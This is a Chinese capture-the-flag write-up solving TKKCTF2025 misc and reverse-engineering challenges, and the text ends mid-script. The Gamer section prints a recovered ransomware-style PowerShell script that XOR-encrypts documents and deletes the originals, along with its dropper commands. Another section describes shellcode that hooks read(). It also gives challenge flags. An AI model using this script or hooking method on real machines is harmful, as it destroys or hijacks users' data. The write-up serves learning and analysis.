TKKCTF2025 wp

by 🧑‍🚀 Madel1ne on 2025/12/08

Misc

Gamer

题目描述:

据说爱玩游戏的人运气都不错…除非你被卫继龚盯上 = =

1. 分析日志文件

首先将 Logs.evtx 导出为可读的 txt 格式:

Get-WinEvent -Path "Logs.evtx" | ForEach-Object { $_.ToXml() } | Out-File -FilePath "logs_output.txt" -Encoding UTF8

2. 发现攻击链

通过分析日志中的进程创建事件(EventID=1),发现以下攻击链:

  1. 用户执行了 system_fix.bat 批处理文件
  2. 批处理调用 PowerShell 将多段 Base64 编码内容写入 b.dat 文件
  3. 使用 certutil -decode b.dat wZ9sr3v3n93p14n.ps1 解码生成恶意脚本
  4. 执行恶意 PowerShell 脚本加密文件

关键命令行记录:

certutil -decode b.dat wZ9sr3v3n93p14n.ps1
powershell -ExecutionPolicy Bypass -File wZ9sr3v3n93p14n.ps1

3. 提取恶意脚本

从日志中提取所有写入 b.dat 的 Base64 片段,将以下内容保存为 extract.ps1 后执行:

$events = Get-WinEvent -Path "Logs.evtx" | Where-Object { $_.Id -eq 1 } | ForEach-Object {
    $xml = [xml]$_.ToXml()
    $cmdLine = ($xml.Event.EventData.Data | Where-Object { $_.Name -eq "CommandLine" }).'#text'
    $time = $_.TimeCreated
    if ($cmdLine -match "Out-File.*b\.dat") {
        if ($cmdLine -match "'([^']+)'\s*\|\s*Out-File") {
            [PSCustomObject]@{
                Time = $time
                Base64 = $matches[1]
            }
        }
    }
} | Sort-Object Time

$combined = ($events | ForEach-Object { $_.Base64 }) -join ""
$decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($combined))
$decoded | Out-File -FilePath "malware_script.ps1" -Encoding UTF8

4. 分析加密算法

运行 extract.ps1 后会得到一个叫 malware_script.ps1 的还原脚本,内容如下:

# Banner: "TKKC SEC HAS BEEN COMPROMISED..."
$x99Qq = "VEtLQyBTRUMgSEFTIEJFRU4gQ09NUFJPTUlTRUQgQlkgV0VJIEpJR09ORyAo5Y2r57un6b6aKQoqIFdoYXQgaGFwcGVuZWQ/ClRoaXMgaXMgbXkgcmV2ZW5nZSBhZ2FpbnN0IFRLS0MgU2VjLiBZb3VyIGFycm9nYW5jZSBoYXMgbGVkIHRvIHRoaXMuCkksIFdlaSBKaWdvbmcsIGhhdmUgZW5jcnlwdGVkIGFsbCB5b3VyIGNyaXRpY2FsIGZpbGVzLgoqIENhbiBJIHJlY292ZXIgdGhlbT8KSXQgaXMgaW1wb3NzaWJsZSB3aXRob3V0IG15IHByaXZhdGUga2V5LiBEbyBub3Qgd2FzdGUgeW91ciB0aW1lLgoqIEhvdyB0byBmaXggdGhpcz8KQWRtaXQgeW91ciBkZWZlYXQgdG8gV2VpIEppZ29uZy4gWW91IGhhdmUgMjQgaG91cnMgYmVmb3JlIGRhdGEgbG9zcy4="

# Display Banner Function
function f_sh0w {
     [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($x99Qq))
}

# Extensions: *.txt *.doc *.docx *.pdf
$j11Wz = "Ki50eHQgKi5kb2MgKi5kb2N4ICoucGRm"

function f_lst {
    return (f_dec $j11Wz).Split(" ")
}

# Decode Function
function f_dec {
    param([string]$in)
    return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))
}

# Key 1
$p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
# Key 2
$o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"

$u88Ty = f_dec $p44Lm
$i33Er = f_dec $o55Nr

$h77Vn = @{}
For ($z = 65; $z -le 90; $z++) {
    $h77Vn[([char]$z)] = if($z -eq 90) { [char]65 } else { [char]($z + 1) }
}
For ($z = 97; $z -le 122; $z++) {
    $h77Vn[([char]$z)] = if($z -eq 122) { [char]97 } else { [char]($z + 1) }
}
For ($z = 48; $z -le 57; $z++) {
    $h77Vn[([char]$z)] = if($z -eq 57) { [char]48 } else { [char]($z + 1) }
}

function f_crpt {
    param([byte[]]$b_src, [byte[]]$k_a, [byte[]]$k_b)
    $res = [byte[]]::new($b_src.Length)
    for ($i = 0; $i -lt $b_src.Length; $i++) {
        $v1 = $k_a[$i % $k_a.Length]
        $v2 = $k_b[$i % $k_b.Length]
        $res[$i] = $b_src[$i] -bxor $v1 -bxor $v2
    }
    return $res
}

function f_proc {
    param([byte[]]$raw, [string]$s_a, [string]$s_b)

    if ($raw -eq $null -or $raw.Length -eq 0) {
        return $null
    }

    $bk_a = [System.Text.Encoding]::UTF8.GetBytes($s_a)
    $bk_b = [System.Text.Encoding]::UTF8.GetBytes($s_b)
    $out_b = f_crpt $raw $bk_a $bk_b

    return [System.Convert]::ToBase64String($out_b)
}

function f_exec {
    param([switch]$go)

    try {
        if ($go) {
            foreach ($ext in f_lst) {
                $path = "dca01aq2/"
                if (Test-Path $path) {
                    Get-ChildItem -Path $path -Recurse -ErrorAction Stop |
                        Where-Object { $_.Extension -match "^\.$ext$" } |
                        ForEach-Object {
                            $tgt = $_.FullName
                            if (Test-Path $tgt) {
                                $bin = [IO.File]::ReadAllBytes($tgt)
                                $fin = f_proc $bin $u88Ty $i33Er
                                [IO.File]::WriteAllText("$tgt.secured", $fin)
                                Remove-Item $tgt -Force
                            }
                        }
                }
            }
        }
    }
    catch {}
}

if ($env:USERNAME -eq "developer56546756" -and $env:COMPUTERNAME -eq "Workstation5678") {
    f_exec -go
    f_sh0w
}

加密流程:

  1. 读取原始文件字节
  2. 使用两个密钥进行双重 XOR 加密
  3. 将加密结果进行 Base64 编码
  4. 保存为 .secured 文件

5. 解密文件

由于 XOR 运算是自反的(A ⊕ B ⊕ B = A),使用相同密钥再次 XOR 即可解密:

# 解码密钥
function f_dec {
    param([string]$in)
    return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($in))
}

$p44Lm = "VGtrY1NlY1Byb3RlY3RzVGFuS2FoS2VlQ29sbGVnZQ=="
$o55Nr = "aWN0b3J5SXNPdXJzTG9ubGl2ZVRvdGhlQ1RG"

$u88Ty = f_dec $p44Lm  # TkkcSecProtectsTanKahKeeCollege
$i33Er = f_dec $o55Nr  # ictoryIsOursLonliveTotheCTF

# 读取加密文件(Base64 编码)
$encryptedContent = Get-Content -Path "flag.pdf.secured" -Raw

# Base64 解码
$encryptedBytes = [System.Convert]::FromBase64String($encryptedContent)

# 获取密钥字节
$bk_a = [System.Text.Encoding]::UTF8.GetBytes($u88Ty)
$bk_b = [System.Text.Encoding]::UTF8.GetBytes($i33Er)

# XOR 解密
$decryptedBytes = [byte[]]::new($encryptedBytes.Length)
for ($i = 0; $i -lt $encryptedBytes.Length; $i++) {
    $v1 = $bk_a[$i % $bk_a.Length]
    $v2 = $bk_b[$i % $bk_b.Length]
    $decryptedBytes[$i] = $encryptedBytes[$i] -bxor $v1 -bxor $v2
}

# 保存解密后的 PDF
[IO.File]::WriteAllBytes("flag.pdf", $decryptedBytes)

运行完成后打开pdf即可看到flag

image-20251208142006372


Screen Shot

题目描述:

在协助警方清算一个黑市时,TKKC Sec研究团队发现了一台名为”卫继龚“的菜鸟黑客的随身电脑。从还原的内容看来,这个傻瓜甚至以为删掉了bash_history就没法还原他犯罪的全貌。


情报专家“小恐龙”对这段恢复的日志经过勘查后得出结论:”卫继龚“已在某国的帮助下乘坐一架军用直升机抵达了那个国家,并且能在Google Map上得到证实。于是,日理万机的“小恐龙”就决定把还原完整线索链的工作交给你,当作给你这个新人的锻炼。

找到这架军用直升机在Google Map上的具体经纬度坐标(坐标精确到小数点后4位) flag格式: xujc{经度(正数表示东经,负数表示西经)_纬度},如xujc{-11.1111_22.2222}

把题目附件和描述给gemini,第一次给了我一个错误的经纬度

image-20251208142041123


虽然给的是错误的,但是可以追踪gemini给的经纬度,打开Google地图,搜索:

37.2480, -115.8147

可以看到右边有个黑色直升机

image-20251208142113317


对着黑色直升机右键,把经纬度复制给Gemini修改

image-20251208142138851

xujc{-115.8123_37.2471}


Reverse

Seal

题目描述:

刚刚在一台工程样机中提取出了这个奇怪的二进制文件。据说这是下一代 “Seal” 防护系统的核心组件

1. 文件识别

file chall

通过分析文件头,可以确认这是一个 ARM64 架构的 Mach-O 可执行文件(macOS/iOS 平台)


2. 字符串提取

import re

data = open('chall', 'rb').read()
print(f'File size: {len(data)} bytes')

# 提取长度>=4的可打印字符串
strings = re.findall(b'[\x20-\x7e]{4,}', data)
for s in strings:
    print(s.decode())

输出关键字符串:

Wrong length!
Congratulations! The flag is correct.
Wrong flag! (Key used: 0x%lx)
Usage: %s <flag>

关键符号表信息:

anti_debug              # 反调试函数
calculate_integrity_key # 计算完整性密钥
verify_flag             # 验证flag函数
c_flag                  # 加密的flag数据
d_marker                # 数据标记

3. 定位加密数据

data = open('chall', 'rb').read()

# __DATA 段通常在 0x8000 偏移
offset = 0x8000
encrypted_flag = data[offset:offset+33]

print('Encrypted flag bytes:')
print(' '.join(f'{b:02x}' for b in encrypted_flag))

输出:

Encrypted flag bytes:
ab a6 b9 b0 a8 be b2 b0 e3 e6 8c e7 a1 be e5 e7 8c e2 bd a7 e0 b4 a1 e2 a7 aa 8c b0 bb e0 b0 b8 ae

加密数据(32字节):

enc = [0xab, 0xa6, 0xb9, 0xb0, 0xa8, 0xbe, 0xb2, 0xb0, 
       0xe3, 0xe6, 0x8c, 0xe7, 0xa1, 0xbe, 0xe5, 0xe7,
       0x8c, 0xe2, 0xbd, 0xa7, 0xe0, 0xb4, 0xa1, 0xe2, 
       0xa7, 0xaa, 0x8c, 0xb0, 0xbb, 0xe0, 0xb0, 0xb8, 0xae]

4. 加密算法分析

通过程序逻辑分析,加密方式为简单的 单字节 XOR 加密

暴力破解所有可能的 XOR key (0x00-0xFF):

enc = bytes([0xab, 0xa6, 0xb9, 0xb0, 0xa8, 0xbe, 0xb2, 0xb0, 
             0xe3, 0xe6, 0x8c, 0xe7, 0xa1, 0xbe, 0xe5, 0xe7,
             0x8c, 0xe2, 0xbd, 0xa7, 0xe0, 0xb4, 0xa1, 0xe2, 
             0xa7, 0xaa, 0x8c, 0xb0, 0xbb, 0xe0, 0xb0, 0xb8, 0xae])

print("Trying single-byte XOR brute force...")
for key in range(256):
    dec = bytes([b ^ key for b in enc])
    # 筛选全部为可打印ASCII字符的结果
    if all(32 <= c < 127 for c in dec):
        print(f'Key 0x{key:02x}: {dec.decode()}')

输出:

D:\python\python.exe D:\agent_test\check_flag.py 
Trying single-byte XOR brute force...
Key 0xc0: kfyph~rp#&L'a~%'L"}g ta"gjLp{ pxn
Key 0xc3: hezsk}qs %O$b}&$O!~d#wb!diOsx#s{m
Key 0xc5: nc|um{wu&#I"d{ "I'xb%qd'boIu~%u}k
Key 0xc8: cnqx`vzx+.D/iv-/D*uo(|i*obDxs(xpf
Key 0xc9: bopyaw{y*/E.hw,.E+tn)}h+ncEyr)yqg
Key 0xca: alszbtxz),F-kt/-F(wm*~k(m`Fzq*zrd
Key 0xcc: gju|dr~|/*@+mr)+@.qk,xm.kf@|w,|tb
Key 0xce: ehw~fp|~-(B)op+)B,si.zo,idB~u.~v`
Key 0xd0: {vi`xnb`36\7qn57\2mw0dq2wz\`k0`h~
Key 0xd2: ytkbzl`b14^5sl75^0ou2fs0ux^bi2bj|
Key 0xd3: xujc{mac05_4rm64_1nt3gr1ty_ch3ck}       # flag
Key 0xd6: }pof~hdf50Z1wh31Z4kq6bw4q|Zfm6fnx
Key 0xda: q|cjrdhj9<V={d?=V8g}:n{8}pVja:jbt
Key 0xdb: p}bkseik8=W<ze><W9f|;oz9|qWk`;kcu
Key 0xdc: wzeltbnl?:P;}b9;P>a{<h}>{vPlg<ldr
Key 0xdd: v{dmucom>;Q:|c8:Q?`z=i|?zwQmf=mes
Key 0xdf: tyfowamo<9S8~a:8S=bx?k~=xuSod?ogq

进程已结束,退出代码为 0

当 XOR key = 0xD3 时,解密得到flag


Matzs Nightmare

题目描述: “今天我们宣布发布一款全新的编程语言:xujc!它完美的解决了C++迄今为止令人唾弃的内存管理问题……”

1. 查看文件类型

data = open('matzs', 'rb').read()
print(f"File size: {len(data)} bytes")
print(f"Magic bytes: {data[:4].hex()}")

输出:

D:\python\python.exe D:\agent_test\check.py 
File size: 766984 bytes
Magic bytes: cffaedfe

进程已结束,退出代码为 0

cffa edfe 是 Mach-O 64-bit 的魔数,确认这是一个 macOS 可执行文件


2. 字符串分析

搜索二进制文件中的可读字符串:

import re

data = open('matzs', 'rb').read()
print(f'File size: {len(data)} bytes')

# 提取所有可打印字符串 (长度 >= 4)
strings = re.findall(b'[\x20-\x7e]{4,}', data)
print(f'Total strings found: {len(strings)}')

# 搜索关键字符串
print('\nSearching for keywords...')
keywords = ['flag', 'access', 'enter', 'xujc', 'irep', 'mruby', 'denied', 'granted']

for s in strings:
    try:
        decoded = s.decode('ascii')
        decoded_lower = decoded.lower()
        for kw in keywords:
            if kw in decoded_lower:
                print(f'  [{kw}] {decoded}')
                break
    except:
        pass

输出:

D:\python\python.exe D:\agent_test\check.py 
File size: 766984 bytes
Total strings found: 5108

Searching for keywords...
  [xujc] ^XUJC0000IREP
  [access] Access Granted.
  [access] Access Denied.
  [mruby] Failed mruby core initialization
  [irep] too many irep references
  [irep] irep %p nregs=%d nlocals=%d pools=%d syms=%d reps=%d ilen=%d
  [enter] ENTER
  [flag] flag
  [flag] flags
  [enter] center
  [mruby] mruby_Random
  [enter] ArgumentError
  [mruby] MRUBY_VERSION
  [access] attr_accessor
  [mruby] MRUBY_COPYRIGHT
  [mruby] MRUBY_RELEASE_NO
  [mruby] MRUBY_DESCRIPTION
  [mruby] MRUBY_RELEASE_DATE
  [mruby] too many local variables for binding (mruby limitation)
  [mruby] mruby
  [mruby] mruby 3.4.0 (2025-04-20)
  [mruby] mruby - Copyright (c) 2010-2025 mruby developers
  [irep] IREP
  [irep] irep load error
  [mruby] mruby-pack's bug
  [mruby] too many upper procs for local variables (mruby limitation; maximum is 20)
  [flag] flag after width
  [flag] flag after precision
  [access] illegal access mode %v
  [access] illegal access mode %s
  [irep] dd_irep
  [irep] )ec_irep
  [irep] :irep
  [mruby] GENERATED_TMP_mrb_mruby_

进程已结束,退出代码为 0

发现的关键字符串:

- "Access Granted."  (验证成功提示)
- "Access Denied."   (验证失败提示)
- "^XUJC0000IREP"    (mruby 字节码标识)
- "mruby 3.4.0"      (mruby 版本信息)

题目名称 “Matzs” 暗示与 Ruby 创始人 Matsumoto 有关,结合 mruby 字符串,确认程序使用了 mruby 嵌入式 Ruby


3. 定位 mruby 字节码

搜索 mruby IREP (Intermediate Representation) 标识:

data = open('matzs', 'rb').read()

# 搜索 IREP 标识
irep_positions = []
pos = 0
while True:
    pos = data.find(b'IREP', pos)
    if pos == -1:
        break
    context = data[pos-20:pos+30]
    print(f"IREP at 0x{pos:x}: {context}")
    irep_positions.append(pos)
    pos += 1

输出:

D:\python\python.exe D:\agent_test\check.py 
IREP at 0x6deb4: b'RITE0300\x00\x00\x04^XUJC0000IREP\x00\x00\x03\xd30300\x00\x00\x00\xbc\x00\x04\x00\t\x00\x08\x00\x00\x00\x00\x00[V\x01'
IREP at 0x93589: b'25 mruby developers\x00IREP\x00LVAR\x00RITE\x0003\x0000\x00irep load'

进程已结束,退出代码为 0

在偏移 0x6deac 处发现 mruby 字节码头部 XUJC0000IREP


4. 分析数据段

检查 0x6e000 区域的数据结构:

data = open('matzs', 'rb').read()

irep_pos = data.find(b'XUJC0000IREP')
print(f'IREP at: 0x{irep_pos:x}')

# 查看 IREP 后面的数据结构
print('\nData after IREP header:')
irep_data = data[irep_pos:]
for i in range(0, 300, 50):
    chunk = irep_data[i:i+50]
    printable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
    print(f'  +0x{i:03x}: {printable}')

输出:

D:\python\python.exe D:\agent_test\check.py 
IREP at: 0x6deac

Data after IREP header:
  +0x000: XUJC0000IREP....0300...............[V..V..V..V..V.
  +0x032: .V..V..H........./...'........./....../...W..0.../
  +0x064: ...'...Q..-...%..Q..-...8.i.....Access Granted....
  +0x096: .Access Denied......$ctx...call...zip...map...all?
  +0x0c8: ...puts....-............4....../.....-B.8.......si
  +0x0fa: ze....H............4....../....../.../...8.......c

进程已结束,退出代码为 0

发现的关键函数调用:

  • chars - 将字符串转换为字符数组
  • each_slice - 将数组分成固定大小的块
  • zip - 合并多个数组
  • map - 映射操作
  • all? - 检查所有元素是否满足条件

这些函数暗示程序将输入分块后进行某种变换和验证


5. 提取加密数据数组

data = open('matzs', 'rb').read()

# 在 0x6e000 区域发现数据数组
# mruby 字节码中数组格式: 03 [index] [value]

def extract_array(data, offset):
    """提取 mruby 字节码中的数组"""
    values = []
    pos = offset
    while pos < offset + 50:
        if data[pos:pos+2] == b'\x03\x04':  # 数组开始
            j = pos
            while j < pos + 100:
                if data[j] == 0x03 and data[j+1] < 20:
                    values.append(data[j+2])
                    j += 3
                elif data[j] == 0x47:  # 'G' 结束标记
                    break
                else:
                    j += 1
            break
        pos += 1
    return values

# 提取 5 个数组
offsets = [0x6e000, 0x6e07c, 0x6e0f8, 0x6e174, 0x6e1f0]
arrays = []

for offset in offsets:
    arr = extract_array(data, offset)
    arrays.append(arr)
    print(f'Array at 0x{offset:x}: {arr}')

输出:

D:\python\python.exe D:\agent_test\check.py 
Array at 0x6e000: [79, 66, 93, 84, 76, 19, 95, 104]
Array at 0x6e07c: [221, 154, 223, 155, 206, 245, 196, 153, 220]
Array at 0x6e0f8: [33, 96, 77, 54, 38, 107, 77, 101, 122]
Array at 0x6e174: [238, 175, 238, 130, 249, 181, 238, 130, 190]
Array at 0x6e1f0: [97, 56, 102, 10, 51, 39, 101, 56, 40]

进程已结束,退出代码为 0

6. 分析加密逻辑

# flag 以 "xujc{" 开头
# 第一个数组: [79, 66, 93, 84, 76, ...]
# 期望明文: ['x', 'u', 'j', 'c', '{', ...]

known_plaintext = "xujc{"
first_array = [79, 66, 93, 84, 76]

print("Finding XOR key:")
for i in range(len(known_plaintext)):
    key = first_array[i] ^ ord(known_plaintext[i])
    print(f"  {first_array[i]} ^ '{known_plaintext[i]}' = {key}")

输出:

D:\python\python.exe D:\agent_test\check.py 
Finding XOR key:
  79 ^ 'x' = 55
  66 ^ 'u' = 55
  93 ^ 'j' = 55
  84 ^ 'c' = 55
  76 ^ '{' = 55

进程已结束,退出代码为 0

发现第一个数组的 XOR key = 55!


7. 暴力破解所有数组的 XOR key

arrays = [
    [79, 66, 93, 84, 76, 19, 95, 104],
    [221, 154, 223, 155, 206, 245, 196, 153, 220],
    [33, 96, 77, 54, 38, 107, 77, 101, 122],
    [238, 175, 238, 130, 249, 181, 238, 130, 190],
    [97, 56, 102, 10, 51, 39, 101, 56, 40]
]

print("Brute-forcing XOR keys for each array:\n")

for i, arr in enumerate(arrays):
    print(f"Array {i+1}: {arr}")
    
    # 尝试所有可能的 key (0-255)
    for key in range(256):
        decrypted = [v ^ key for v in arr]
        # 检查是否全部是可打印字符
        if all(32 <= v < 127 for v in decrypted):
            chars = ''.join(chr(v) for v in decrypted)
            # 检查是否看起来像 flag 的一部分
            if any(c.isalnum() or c in '_{}' for c in chars):
                print(f"  Key {key}: {chars}")
    print()

输出:

D:\python\python.exe D:\agent_test\check.py 
Brute-forcing XOR keys for each array:

Array 1: [79, 66, 93, 84, 76, 19, 95, 104]
  Key 33: nc|um2~I
  Key 35: la~wo0|K
  Key 36: kfyph7{L
  Key 37: jgxqi6zM
  Key 38: id{rj5yN
  Key 39: hezsk4xO
  Key 40: gju|d;w@
  Key 41: fkt}e:vA
  Key 42: ehw~f9uB
  Key 44: cnqx`?sD
  Key 45: bopya>rE
  Key 46: alszb=qF
  Key 47: `mr{c<pG
  Key 49: ~sle}"nY
  Key 50: }pof~!mZ
  Key 52: {vi`x'k\
  Key 53: zwhay&j]
  Key 54: ytkbz%i^
  Key 55: xujc{$h_
  Key 56: wzelt+gP
  Key 57: v{dmu*fQ
  Key 58: uxgnv)eR
  Key 59: tyfow(dS
  Key 60: s~ahp/cT
  Key 62: q|cjr-aV
  Key 63: p}bks,`W

Array 2: [221, 154, 223, 155, 206, 245, 196, 153, 220]
  Key 161: |;~:oTe8}
  Key 164: y>{?jQ`=x
  Key 165: x?z>kPa<y
  Key 166: {<y=hSb?z
  Key 167: z=x<iRc>{
  Key 168: u2w3f]l1t
  Key 169: t3v2g\m0u
  Key 170: w0u1d_n3v
  Key 171: v1t0e^o2w
  Key 172: q6s7bYh5p
  Key 173: p7r6cXi4q
  Key 174: s4q5`[j7r
  Key 175: r5p4aZk6s
  Key 176: m*o+~Et)l
  Key 178: o(m)|Gv+n
  Key 179: n)l(}Fw*o
  Key 180: i.k/zAp-h
  Key 181: h/j.{@q,i
  Key 182: k,i-xCr/j
  Key 183: j-h,yBs.k
  Key 184: e"g#vM|!d
  Key 185: d#f"wL} e
  Key 186: g e!tO~#f
  Key 188: a&c'rIx%`
  Key 189: `'b&sHy$a
  Key 190: c$a%pKz'b
  Key 191: b%`$qJ{&c

Array 3: [33, 96, 77, 54, 38, 107, 77, 101, 122]
  Key 0: !`M6&kMez
  Key 1:  aL7'jLd{
  Key 2: #bO4$iOgx
  Key 3: "cN5%hNfy
  Key 4: %dI2"oIa~
  Key 6: 'fK0 mKc|
  Key 7: &gJ1!lJb}
  Key 8: )hE>.cEmr
  Key 9: (iD?/bDls
  Key 10: +jG<,aGop
  Key 11: *kF=-`Fnq
  Key 12: -lA:*gAiv
  Key 13: ,m@;+f@hw
  Key 14: /nC8(eCkt
  Key 15: .oB9)dBju
  Key 16: 1p]&6{]uj
  Key 17: 0q\'7z\tk
  Key 18: 3r_$4y_wh
  Key 19: 2s^%5x^vi
  Key 21: 4uX#3~Xpo
  Key 22: 7v[ 0}[sl
  Key 23: 6wZ!1|Zrm
  Key 24: 9xU.>sU}b
  Key 25: 8yT/?rT|c
  Key 27: :{V-=pV~a
  Key 28: =|Q*:wQyf
  Key 29: <}P+;vPxg
  Key 30: ?~S(8uS{d

Array 4: [238, 175, 238, 130, 249, 181, 238, 130, 190]
  Key 192: .o.B9u.B~
  Key 194: ,m,@;w,@|
  Key 195: -l-A:v-A}
  Key 196: *k*F=q*Fz
  Key 197: +j+G<p+G{
  Key 198: (i(D?s(Dx
  Key 199: )h)E>r)Ey
  Key 200: &g&J1}&Jv
  Key 201: 'f'K0|'Kw
  Key 203: %d%I2~%Iu
  Key 204: "c"N5y"Nr
  Key 205: #b#O4x#Os
  Key 206:  a L7{ Lp
  Key 207: !`!M6z!Mq
  Key 209: ?~?S(d?So
  Key 210: <}<P+g<Pl
  Key 211: =|=Q*f=Qm
  Key 212: :{:V-a:Vj
  Key 213: ;z;W,`;Wk
  Key 214: 8y8T/c8Th
  Key 215: 9x9U.b9Ui
  Key 216: 6w6Z!m6Zf
  Key 217: 7v7[ l7[g
  Key 218: 4u4X#o4Xd
  Key 219: 5t5Y"n5Ye
  Key 220: 2s2^%i2^b
  Key 221: 3r3_$h3_c
  Key 222: 0q0\'k0\`
  Key 223: 1p1]&j1]a

Array 5: [97, 56, 102, 10, 51, 39, 101, 56, 40]
  Key 64: !x&Jsg%xh
  Key 65:  y'Krf$yi
  Key 66: #z$Hqe'zj
  Key 67: "{%Ipd&{k
  Key 68: %|"Nwc!|l
  Key 69: $}#Ovb }m
  Key 70: '~ Lua#~n
  Key 72: )p.B{o-p`
  Key 73: (q/Czn,qa
  Key 74: +r,@ym/rb
  Key 75: *s-Axl.sc
  Key 77: ,u+G~j(ue
  Key 78: /v(D}i+vf
  Key 79: .w)E|h*wg
  Key 80: 1h6Zcw5hx
  Key 81: 0i7[bv4iy
  Key 82: 3j4Xau7jz
  Key 83: 2k5Y`t6k{
  Key 84: 5l2^gs1l|
  Key 85: 4m3_fr0m}
  Key 86: 7n0\eq3n~
  Key 89: 8a?Sj~<aq
  Key 90: ;b<Pi}?br
  Key 91: :c=Qh|>cs
  Key 92: =d:Vo{9dt
  Key 93: <e;Wnz8eu
  Key 94: ?f8Tmy;fv
  Key 95: >g9Ulx:gw


进程已结束,退出代码为 0

其中:

Array 1: Key 55  -> xujc{$h_  
Array 2: Key 170 -> w0u1d_n3v
Array 3: Key 18  -> 3r_$4y_wh
Array 4: Key 221 -> 3r3_$h3_c
Array 5: Key 85  -> 4m3_fr0m}

组合起来获得:xujc{$h_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}

这里尝试交了,发现不对

按照leet speak,应该说的是she would never say where she came from

xujc{$h_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}   # 原

xujc{$h3_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}  # 开头加个3

提交:xujc{$h3_w0u1d_n3v3r_$4y_wh3r3_$h3_c4m3_fr0m}发现对了


Deep Sea

题目描述:

“大海从不沉默,它只是在等待懂得倾听的人。” — 雅克·库斯托 在暗无天日的马里亚纳海沟深处,部署着代号为 “DeepSea” 的声呐监听阵列。它忠实地执行着常规的探测任务,日复一日地记录着洋流与鲸歌。 然而,分析师们在它的信号中察觉到了一丝不谐和的杂音——那是一种经过精心伪装的静默。代码的表象之下,似乎涌动着另一股暗流…

用IDA打开libcomm.so文件

1. 触发逻辑与密钥计算 (sub_260B)

函数 sub_260B 是程序的触发点

  • 字符串解密:它首先定义了一个加密字符串 `EFFQTFB\PWFSSJEG”,然后通过循环v3[i] = name[i] - 1 进行解密
    • E - 1 = D
    • F - 1 = E
    • 解密后的字符串为:DEEPSEA_OVERRIDE
  • 触发条件:程序检查环境变量 getenv("DEEPSEA_OVERRIDE") 是否存在。如果存在,才会继续执行
  • 计算密钥:代码计算该字符串(DEEPSEA_OVERRIDE)所有字符ASCII值的总和,作为后续解密的密钥 a1
    • 计算:D(68) + E(69) + E(69) + P(80) + S(83) + E(69) + A(65) + _(95) + O(79) + V(86) + E(69) + R(82) + R(82) + I(73) + D(68) + E(69)
    • 总和 = 1206
    • 取低8位(char):1206 & 0xFF = 0xB6
    • XOR密钥为 0xB6

2. 代码自解密与Hook (sub_23E5)

函数 sub_23E5 负责加载和解密Shellcode

  • Hook准备:它调用 sub_21AB 获取 read 函数的地址(这通常是修改GOT表项)。
  • 解密Shellcode
    • 它申请了一块内存(mmap),将数据 byte_1189 复制进去。
    • 使用计算出的密钥 0xB6 对这块内存进行 XOR解密
  • 安装Hook:它将 read 函数的地址替换为这块解密后的Shellcode地址。这意味着当程序下次调用 read 时,实际上会执行我们的Shellcode

3. Shellcode 分析

解密后的Shellcode(通过Python脚本提取并反汇编)包含以下核心逻辑:

  1. 保存上下文push 保存寄存器
  2. 调用原read:代码中有一段 call 指令去执行原始的 read 功能(或者通过滑板指令跳过填充区),获取用户输入
  3. 检查前缀
    • 它检查输入的缓冲区是否包含特定的魔术头
    • 反汇编显示:cmp DWORD PTR [rbx], 0x636a7578
    • 0x636a7578 是小端序,对应ASCII为 xujc
  4. 校验Flag
    • 代码随后进入一个循环,验证剩余的输入
    • 验证算法为:input[i] ^ table[i] == i
    • 即:flag[i] = table[i] ^ i
    • table 位于Shellcode末尾(偏移量 0x1000 处)

4. 解题脚本

import struct

# 1. 原始加密数据 (byte_1189)
# 开头的 db 数据
data_head = [0xF7, 0xE1, 0xF7, 0xE0, 0xF7, 0xE3, 0xF7]

# 中间的 dq 数据 (注意 dq 是小端序,需要转换)
dq_vals = [
    0x3FBE5A35FEE5E3E2, 0x5E633FFE433FFF4D, 0x35723FFFB6B6B7FB,
    0xCE7633FEE3C3B74D, 0xB24E35FE713FFFE6, 0xFA4AB3C23BFBF1C0,
    0xFEBF5D5BB7FA5D3F, 0x87C2458FFAB77535, 0x59C3D5DCC3CE8D37,
    0x3FFE689FFE583FFE, 0x7633B6B6B69B5E69, 0xB6B6084C3FFA6BC2,
    0xB6EA5E593FFAB6B6, 0x4949497271FFB6B6, 0xBE7235FE563FFA49,
    0xE8F7EBF7EAF7EBED, 0xB6B6B6B60E75E9F7, 0xFEB6B6B9DCBB3BFE,
    0xB1A200B993C24033, 0xFE6408B9FEB7A284, 0xB77635FEAAC3748F,
    0x4E35FEBBC2708FFE, 0xB6B6B6B70E57C394, 0x75B6B6B6B60E7575,
    0x33FE75B6B6B6B60E, 0xB7FE4E3FFEA4C264, 0xB77635FE863EF661,
    0xE0F77542C34E8FFE, 0x3FF7E5E3E2F7E3F7, 0x3FFE6E92C23FFE4D,
    0x5E92FA3FFE5692E2, 0xFA3FFA4692F23FFA, 0xFE8692F23BFE4E92,
    0x92F23BFE7692F23F, 0x3FFE7E92F23FFE66, 0xFB7A3FFF633FFE45,
    0xB6860E92F271733F, 0xFA3DFE783FFBB6B6, 0x3FFEBEF73BFE7692,
    0x3FFE6E3FF27692F2, 0xFB543FFA583FFE69, 0xBF3DFA463FFB5C3F,
    0x6E3FFA753FFFB3B9, 0xE8F7EBF7EAF7EBED, 0x3F443FFE673FFE75,
    0xB60EB6B6B6B60948, 0x494949D05EB6B6B6, 0xB6B6B6B6B6B6B675
]
data_dq = b"".join(struct.pack("<Q", x) for x in dq_vals)

# 重复数据块 (dq 1CFh dup(...))
dup_block = struct.pack("<Q", 0xB6B6B6B6B6B6B6B6) * 0x1CF

# 剩余的 dq 数据
dq_rem_vals = [
    0x83D7C9D6DEC2CEB6, 0x89E48E8E89E0CE82, 0x97D391C6D69491D7, 0x9F9E9EC0F3C19E90
]
data_dq_rem = b"".join(struct.pack("<Q", x) for x in dq_rem_vals)

# 结尾的 db 数据
data_tail = [0x9A, 0xE4, 0xEA]

# 拼接完整密文
full_cipher = bytes(data_head) + data_dq + dup_block + data_dq_rem + bytes(data_tail)

# 2. 解密 (XOR Key = 0xB6)
key = 0xB6
decrypted = bytearray(b ^ key for b in full_cipher)

# 3. 提取 Table 并计算 Flag
